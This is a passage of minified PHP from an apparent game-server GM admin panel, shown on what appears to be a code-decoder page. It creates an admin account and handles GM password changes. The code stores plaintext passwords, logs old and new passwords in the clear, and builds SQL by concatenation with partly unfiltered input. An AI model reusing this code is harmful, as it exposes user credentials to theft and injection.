                                 ('".$option['admin_game_id']."', '1', '2'),
                                 ('".$option['admin_game_id']."', '1', '3'),
                                 ('".$option['admin_game_id']."', '1', '4'),
                                 ('".$option['admin_game_id']."', '1', '5'),
                                 ('".$option['admin_game_id']."', '1', '6'),
                                 ('".$option['admin_game_id']."', '1', '7'),
                                 ('".$option['admin_game_id']."', '1', '8'),
                                 ('".$option['admin_game_id']."', '1', '9'),
                                 ('".$option['admin_game_id']."', '1', '10'),
                                 ('".$option['admin_game_id']."', '1', '11'),
                                 ('".$option['admin_game_id']."', '1', '100'),
                                 ('".$option['admin_game_id']."', '1', '101'),
                                 ('".$option['admin_game_id']."', '1', '102'),
                                 ('".$option['admin_game_id']."', '1', '103'),
                                 ('".$option['admin_game_id']."', '1', '104'),
                                 ('".$option['admin_game_id']."', '1', '105'),
                                 ('".$option['admin_game_id']."', '1', '200'),
                                 ('".$option['admin_game_id']."', '1', '201'),
                                 ('".$option['admin_game_id']."', '1', '202'),
                                 ('".$option['admin_game_id']."', '1', '203'),
                                 ('".$option['admin_game_id']."', '1', '204'),
                                 ('".$option['admin_game_id']."', '1', '205'),
                                 ('".$option['admin_game_id']."', '1', '206'),
                                 ('".$option['admin_game_id']."', '1', '207'),
                                 ('".$option['admin_game_id']."', '1', '208'),
                                 ('".$option['admin_game_id']."', '1', '209'),
                                 ('".$option['admin_game_id']."', '1', '210'),
                                 ('".$option['admin_game_id']."', '1', '211'),
                                 ('".$option['admin_game_id']."', '1', '212'),
                                 ('".$option['admin_game_id']."', '1', '213'),
                                 ('".$option['admin_game_id']."', '1', '214'),
                                 ('".$option['admin_game_id']."', '1', '500'),
                                 ('".$option['admin_game_id']."', '1', '501'),
                                 ('".$option['admin_game_id']."', '1', '502'),
                                 ('".$option['admin_game_id']."', '1', '503'),
                                 ('".$option['admin_game_id']."', '1', '504'),
                                 ('".$option['admin_game_id']."', '1', '505'),
                                 ('".$option['admin_game_id']."', '1', '506'),
                                 ('".$option['admin_game_id']."', '1', '507'),
                                 ('".$option['admin_game_id']."', '1', '508'),
                                 ('".$option['admin_game_id']."', '1', '509'),
                                 ('".$option['admin_game_id']."', '1', '510'),
                                 ('".$option['admin_game_id']."', '1', '511'),
                                 ('".$option['admin_game_id']."', '1', '512'),
                                 ('".$option['admin_game_id']."', '1', '513'),
                                 ('".$option['admin_game_id']."', '1', '514'),
                                 ('".$option['admin_game_id']."', '1', '515'),
                                 ('".$option['admin_game_id']."', '1', '516'),
                                 ('".$option['admin_game_id']."', '1', '517'),
                                 ('".$option['admin_game_id']."', '1', '518')");mysqli_query(conn(),"Insert into gm_users (gmuser,gmpass,accountid,gmlevel,added_by,added_date) values ('".$option['admin_login']."','".$option['admin_pass']."','".$option['admin_game_id']."','3','System','".time()."')");}}function change_gm_pass($gmuser,$current_pass,$new_pass,$repeat_pass){$current_pass=filter($current_pass);$new_pass=filter($new_pass);$repeat_pass=filter($repeat_pass);if(!empty($current_pass)&&!empty($new_pass)&&!empty($repeat_pass)){$query=mysqli_query(conn(),"Select * from gm_users where gmuser = '".$gmuser."' and gmpass='".$current_pass."'");if(mysqli_num_rows($query)==1){if($new_pass===$repeat_pass){if($new_pass!=$current_pass){$log_data=json_encode(array($current_pass,$new_pass));mysqli_query(conn(),"UPDATE gm_users set gmpass='".$new_pass."',first_login='0'  where gmuser='".$gmuser."'");mysqli_query(conn(),"Insert into gm_modules_logs (gm_user,time,ip,module,data) Values ('".$gmuser."','".time()."','".ip()."','GM_Pass_Change','".$log_data."')");echo messages("You have successfully changed your GM login password!",1);logout(4000);}else{echo messages("The new password must be different than the current one!",3);}}else{echo messages("You have typped different repeat password!",3);}}else{echo messages("Your current password is different!",3);}}else{echo messages("Please fill all fields properly",3);}}function refresh($location,$time){echo "<script>setTimeout(\"location.href = '?p=".$location."';\",".$time.");</script>";}?>

Function Calls

None

Variables

None

Stats

MD5 0fe689e66ca14826448beef74323a42f
Eval Count 0
Decode Time 147 ms